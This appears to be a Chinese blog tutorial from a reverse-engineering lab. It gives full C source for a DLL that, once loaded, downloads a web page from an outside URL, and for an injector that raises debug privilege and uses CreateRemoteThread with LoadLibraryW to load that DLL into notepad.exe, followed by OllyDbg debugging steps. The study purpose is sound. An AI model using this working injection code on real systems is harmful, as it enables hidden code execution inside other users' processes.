1. 程式人生 > >DLL注入:用CreateRemoteThread實現DLL注入

DLL注入:用CreateRemoteThread實現DLL注入

實驗環境:WINXP VS2010
功能:注入到notepad.exe程式,並從網上下一個檔案
實驗程式:
(一)myhack.dll,即要注入的dll程式

#include "windows.h"
#include "tchar.h"

#pragma comment(lib,"urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
	TCHAR szPath[_MAX_PATH] = {0,};

	if(!GetModuleFileName(g_hMod,szPath,MAX_PATH))
		return FALSE;

	TCHAR *p = _tcsrchr(szPath,'\\');
	if(!p)
		return FALSE;

	_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME);
	
	HRESULT hr = URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL);
	if (hr != S_OK)
		return FALSE;
	else
		OutputDebugString(L"down finish!!!!");

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;
	g_hMod = (HMODULE)hinstDLL;

	switch(fdwReason)
	{
	case DLL_PROCESS_ATTACH:

		OutputDebugString(L"myhack.dll Injection!!!!");

		hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL);

		if (hThread)
			OutputDebugString(L"down finish!!!!");

		CloseHandle(hThread);
		break;
	}
	return TRUE;
}

程式流程:
(1)當DLL被載入(DLL_PROCESS_ATTACH)時,先輸出一個除錯字串,
(2)利用CreateThread() 建立一個執行緒,建立後立即被啟用,直接呼叫ThreadProc函式
(3)該函式呼叫URLDownloadToFile() 下載指定網站的index.html檔案

(二)InjectDll.exe,即將myhack.dll注入notepad.exe的程式

// InjectDll.cpp : 定義控制檯應用程式的入口點。
//

#include "stdafx.h"
#include "windows.h"
#include "tchar.h"

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	HMODULE hMod = NULL;
	LPVOID pRemoteBuf = NULL; //儲存dll路徑字串的起始地址
	DWORD dwBufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR); // dll路徑字串的大小
	LPTHREAD_START_ROUTINE pThreadProc; // 儲存LoadLibrary函式的地址


	// 使用dwPID獲取目標程序控制代碼
	if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID)))
	{
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError());
		return FALSE;
	}

	// 在目標程序notepad.exe記憶體中分配szDLLName大小的記憶體
	pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE);

	// 將myhack.dll路徑寫入分配的記憶體
	WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL);

	// 獲取LoadLibraryW() API的地址
	hMod = GetModuleHandle(L"kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW");

	// 在notepad.exe中執行執行緒
	hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);

	WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);

	return TRUE;

}
// 提權函式
BOOL EnableDebugPriv() 
{ 
	HANDLE hToken;
	LUID sedebugnameValue; 
	TOKEN_PRIVILEGES tkp; 
 
	if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 
	{
		printf("提權失敗。");
		return FALSE; 
	}
 
	if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) 
	{ 
		CloseHandle( hToken ); 
		printf("提權失敗。");
		return FALSE; 
	} 
	tkp.PrivilegeCount = 1; 
	tkp.Privileges[0].Luid = sedebugnameValue; 
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //
	if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) ) 
	{
		printf("提權失敗。");
		CloseHandle( hToken );
	}
	else 
	{
		printf("提權成功!");
		return TRUE;
	}

}

int _tmain(int argc, _TCHAR* argv[])
{

	if (argc !=3)
	{
		_tprintf(L"USAGE: %s pid dll_path\n",argv[0]);
		return 1;
	}
	//inject dll

	EnableDebugPriv();

	if (InjectDll((DWORD)_tstol(argv[1]),argv[2]))
	
		_tprintf(L"InjectDll(\"%s\") success!!!\n",argv[2]);
	else
		_tprintf(L"InjectDll(\"%s\") failed!!!\n",argv[2]);
	
	

	/*DWORD dwPID = 0;
	LPCTSTR szDllPath = NULL;
	dwPID = 1776;
	szDllPath = L"C:\\work\\myhack.dll";
	InjectDll(dwPID,szDllPath);*/

	return 0;
}

程式流程:
(1)首先進行提權,如果不提權,OpenProcess()會報GetlastError[5]的錯誤,同時拿不到控制代碼。這是因為在xp環境下,雖然賬號是管理員,但是許可權預設沒有啟動。
(2)利用OpenProcess() 獲得目標程序的控制代碼。這裡指notepad.exe
(3)用VirtualAllocEx() 在目標程序空間分配一定的記憶體空間。用來寫入DLL的路徑
(4)用WriteProcessMemory() 將DLL路徑字串寫入剛分配的記憶體。
(5)利用GetModuleHandle() 和GetProcessAddress() 得到LoadLibrary() 的地址。用來載入DLL
(6)利用CreateRemoteThread() 使LoadLibrary()載入DLL,實現DLL的注入。

給程序提權有三種方法

除錯:

開啟記事本,OD attach ,執行;
將OD的選項->除錯設定->事件->中斷在新模組DLL處選中,則程式當載入新的DLL時就會停住;
執行命令列,輸入引數,執行InjectDll.exe程式;
在這裡插入圖片描述
則OD會彈出Executable modules視窗,發現myhack.dll被載入
在這裡插入圖片描述
雙擊來到myhack.dll 入口點附近,下斷點,接下來,將OD的中斷在新的DLL入口處關閉,執行,就可以除錯DLL程式了
在這裡插入圖片描述

具體分析一下dll流程:
(1)首先通過GetModuleFileName得到myhack.dll的完整路徑
(2)通過_tcschr() 得到’\myhack.dll’。_tcschr(szPath,’\’)表示查詢szPath字串’‘字元最後一次出現的位置,並返回\後面的字元,包括’’
在這裡插入圖片描述
在這裡插入圖片描述
接下來呼叫_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME)此時,p+1指向’myhack.dll’字串;

執行完後,說明這個函式實現了拷貝,但是……為啥要拷貝?
在這裡插入圖片描述
最後呼叫URLDownloadToFile() 函式實現下載。觀察引數明白了,原來拷貝函式是為了得到下載儲存的路徑的呀!
在這裡插入圖片描述

執行程式:發現注入成功了!但是遺憾的是work資料夾中並沒有下載的index.html檔案。。。原因未知。。。
在這裡插入圖片描述
用Process Explorer也能看到myhack.dll確實被注入到notepad.exe中了
在這裡插入圖片描述